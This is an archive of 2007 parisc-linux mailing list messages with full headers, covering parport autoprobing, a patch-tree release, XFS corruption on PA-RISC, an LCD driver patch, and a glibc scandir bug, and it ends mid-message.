X-GMX-Antispam: 0 (Sender is in whitelist: alan@lxorguk.ukuu.org.uk)
X-GMX-UID: aWRJc2F7bmw6bK2HZzdLkXtHUzc4clHi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24655

On Thu, 14 Jun 2007 22:36:00 +0800
Randolph Chung <randolph@tausq.org> wrote:

> The attached patch disables auto-probing on non-X86 platforms. On many 
> other platforms, autoprobing causes a machine check.
> 
> Thanks to Julian Stecklina for reporting and helping to debug the problem.
> 
> thoughts/comments?

If io[0] is set the caller has specified a port to probe which seems like
it shouldn't be ignored ?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Disable parport autoprobing on !X86
Date: Thu, 14 Jun 2007 23:35:20 +0800
Lines: 13
Approved: news@gmane.org
Message-ID: <46716038.9030007__22830.9388542131$1416624394$gmane$org@tausq.org>
References: <46715250.4050101@tausq.org>
	<20070614162812.5c0eea6b@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624394 24523 80.91.229.3 (22 Nov 2014 02:46:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:34 +0000 (UTC)
Cc: linux-parport@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jun 2007 15:35:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 14 Jun 2007 17:35:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 556DC7DE87;
	Thu, 14 Jun 2007 09:35:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14733-07; Thu, 14 Jun 2007 09:35:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 20CC07DE86;
	Thu, 14 Jun 2007 09:35:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 947B17DE84
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 09:35:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14396-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 09:35:22 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 945647DE82
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 09:35:22 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1HyrLt-0001io-DK; Thu, 14 Jun 2007 23:35:13 +0800
User-Agent: Thunderbird 1.5.0.12 (Windows/20070509)
In-Reply-To: <20070614162812.5c0eea6b@the-village.bc.nu>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cVVDfhYpPjlsOOrBOTU2rWszMTE2NclQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24656

> If io[0] is set the caller has specified a port to probe which seems like
> it shouldn't be ignored ?

if we do it that way, then it'll be trivial for root to machine check 
the box... is that ok?

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc v2.6.22-rc4-pa1
Date: Thu, 14 Jun 2007 14:13:18 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20070614181318.GA10305__27599.5843847797$1416624394$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624394 24525 80.91.229.3 (22 Nov 2014 02:46:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jun 2007 18:13:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 14 Jun 2007 20:13:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FDF67DE85;
	Thu, 14 Jun 2007 12:13:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15685-04; Thu, 14 Jun 2007 12:13:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CA487DE86;
	Thu, 14 Jun 2007 12:13:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 105A77DE75
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 12:13:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15210-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 12:13:20 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 3EE4B7DE6E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 12:13:20 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 732295840B7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 14:13:19 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EADBC5840B3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 14:13:18 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id A599F23E02; Thu, 14 Jun 2007 14:13:18 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KuwEdWo9ODBoYrWUfGRMXj81Ji9SWtKP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24657

Hi,

As some people have noticed, I've been maintaining a "patches.git" quilt
tree on kernel.org alongside the parisc-2.6.git tree. The idea is to
branch these patches and maintain a "stable" base for people to work on
the port, without having to deal with git.

So here's v2.6.22-rc4-pa1. I'll be doing autobuilds of our defconfigs as
soon as I get a bit of sparetime when I'm not travelling to write it.

You can find the patches in:
	ftp://ftp.kernel.org/pub/linux/kernel/people/kyle/parisc/

Cheers,
	KyleM.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [BUG] XFS broken (again) on parisc
Date: Fri, 15 Jun 2007 17:24:16 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <7d01f9f00706150824k479bfea7n1e8340ac3f0322ef__14779.9695762389$1416624394$gmane$org@mail.gmail.com>
References: <7d01f9f00706100551r57e240a2u510709668f146c03@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624394 24526 80.91.229.3 (22 Nov 2014 02:46:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:34 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jun 2007 15:24:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 15 Jun 2007 17:24:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 292657DE6E;
	Fri, 15 Jun 2007 09:24:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23967-04; Fri, 15 Jun 2007 09:24:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B04957DE72;
	Fri, 15 Jun 2007 09:24:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C88B77DE6E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jun 2007 09:24:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23967-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jun 2007 09:24:19 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.235])
	by free.linux.hp.com (Postfix) with ESMTP id F362D7DE5F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jun 2007 09:24:18 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i4so1311192wra
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jun 2007 08:24:18 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=TZbmE/DLSGU/z764+X6MNPPZlBIL6tdKMdwcXQEdkilzhbAmixsqmhMpns5bQrxDYYA9nxi1Piya92gy5TOGjPngLrOUhcBiwq8PqAlqpX47lTs2dLOTGmXtadoLOMk9usjNtB1brsnhTnz3o+auzuPnOT8wyUfrfVPEQrzxEGA=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=o+5ozZgoR+h+kjI3TG2rvCyG6G7WAZz4aqOEIROmCJe4YeZ4RJHvjTd10YIOgDOYSFjBuNPgE9ELXNq1r8GF9wZzmkpVAZXqsuqmvfwV0rmP04Zu3aY7/lAQJ7b/eyeE+2PGSv4dsJIoUPz7nmR+n2OpxJJCVyYFrJUVruwcY6M=
Original-Received: by 10.100.136.8 with SMTP id j8mr1907363and.1181921056122;
	Fri, 15 Jun 2007 08:24:16 -0700 (PDT)
Original-Received: by 10.100.46.13 with HTTP; Fri, 15 Jun 2007 08:24:16 -0700 (PDT)
In-Reply-To: <7d01f9f00706100551r57e240a2u510709668f146c03@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: d2ddee17a8b0f77a
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CZ1LcxNbeWU6YLeUfHVzqss5U3U4Nw8k
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24658

On 6/10/07, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:

> That happens on 64bit SMP. I'll investigate more later on. According
> to Guy Martin, this doesn't  happen on UP kernels.

I could actually corrupt an XFS fs on 32bit UP. Dunno if that bug is
related (I suspect it is). Random corruption will appear after a while
on a freshly created XFS fs, but there's a simple testcase to show
corruption actually taking place immediately:

mkfs.xfs <partition>
xfs_logprint <partition> -> the log is OK
mount <partition>
xfs_logprint <partition> -> the log is corrupted

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LCD driver trims whitespace
Date: Fri, 15 Jun 2007 22:08:25 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <4672F1B9.507__48512.9287503243$1416624395$gmane$org@web.de>
References: <46279704.1080001@web.de> <200704211141.26069.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624395 24527 80.91.229.3 (22 Nov 2014 02:46:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jun 2007 20:08:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 15 Jun 2007 22:08:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 851717DEA9;
	Fri, 15 Jun 2007 14:08:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25830-04; Fri, 15 Jun 2007 14:08:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 595A47DEB2;
	Fri, 15 Jun 2007 14:08:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E5F67DEA5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jun 2007 14:08:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25467-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jun 2007 14:08:27 -0600 (MDT)
Original-Received: from mailout1.zih.tu-dresden.de (mailout1.zih.tu-dresden.de
	[141.30.67.72])
	by free.linux.hp.com (Postfix) with ESMTP id 6B3BE7DE7F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jun 2007 14:08:27 -0600 (MDT)
Original-Received: from rmc67-31.zih.tu-dresden.de ([141.30.67.31] helo=server-n)
	by mailout1.zih.tu-dresden.de with esmtp (Exim 4.63)
	(envelope-from <der_julian@web.de>) id 1HzI5q-0005o4-0r
	for parisc-linux@lists.parisc-linux.org; Fri, 15 Jun 2007 22:08:26 +0200
Original-Received: from [192.168.0.250] (efficio.wh29.tu-dresden.de [141.30.207.25])
	by server-n (Postfix) with ESMTP id C7A87100A8AD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jun 2007 22:08:25 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
In-Reply-To: <200704211141.26069.deller@gmx.de>
X-TUD-Virus-Scanned: mailout1.zih.tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p5wQEpgMbXBsfrqHPTQ2ugUqLyUmZcjw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24659

Helge Deller wrote:
> On Thursday 19 April 2007, Julian Stecklina wrote:
>> I have a HP Visualize workstation with this fancy little LCD at the 
>> front controllable via /proc/pdc/lcd. The problem is that the 
>> responsible driver trims all trailing whitespace, which is quite 
>> annoying if you want to scroll some text. The attached trivial patch 
>> (against 2.6.20.1) removes this behaviour.
> 
> I'm sure, there was a reason to strip the whitespaces. 
> But I forgot it by now and it was probably a not very good reason :-)
> 
> Nevertheless, the patch looks good.
> 
> Kyle, could you add the patch to your git tree ?
> -> http://lists.parisc-linux.org/pipermail/parisc-linux/attachments/20070419/d58ce234/no-space-removal.bin

As I was just browsing the git tree, I did not see the patch. Any reason 
it was not committed?

Regards,
Julian
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sat, 9 Jun 2007 23:46:06 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <200706100346.l5A3k780007338__16759.9113811322$1416624395$gmane$org@hiauly1.hia.nrc.ca>
References: <200706020203.l52235DP011866@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624395 24530 80.91.229.3 (22 Nov 2014 02:46:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:35 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jun 2007 03:46:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 10 Jun 2007 05:46:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 321EE7DD69;
	Sat,  9 Jun 2007 21:46:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25734-09; Sat, 9 Jun 2007 21:46:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8A937DD61;
	Sat,  9 Jun 2007 21:46:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96BF27DD60
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Jun 2007 21:46:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25734-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Jun 2007 21:46:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id BC54B7DD5E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Jun 2007 21:46:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l5A3k8mU007340;
	Sat, 9 Jun 2007 23:46:08 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l5A3k780007338;
	Sat, 9 Jun 2007 23:46:07 -0400 (EDT)
In-Reply-To: <200706020203.l52235DP011866@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Jun 1, 2007 10:03:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cRgALhddTlIuYLeQeGhr1WdGU2poZZnd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24660

> This is what I see when I do a gcc_update:
> dave@mx3210:~/gnu/gcc-4.3/gcc$ contrib/gcc_update
> Updating SVN tree
> At revision 125275.
> svn: Can't read directory '.': Partial results are valid but processing is incomplete

I spent the day trying to debug why libjava fails to build on this system
with the new glibc.  It seems that scandir is broken on 64-bit kernels.
There seems to be an off by one error in copying dirent structs.  Either
the define in <dirent.h> for _D_ALLOC_NAMLEN is wrong or the kernel
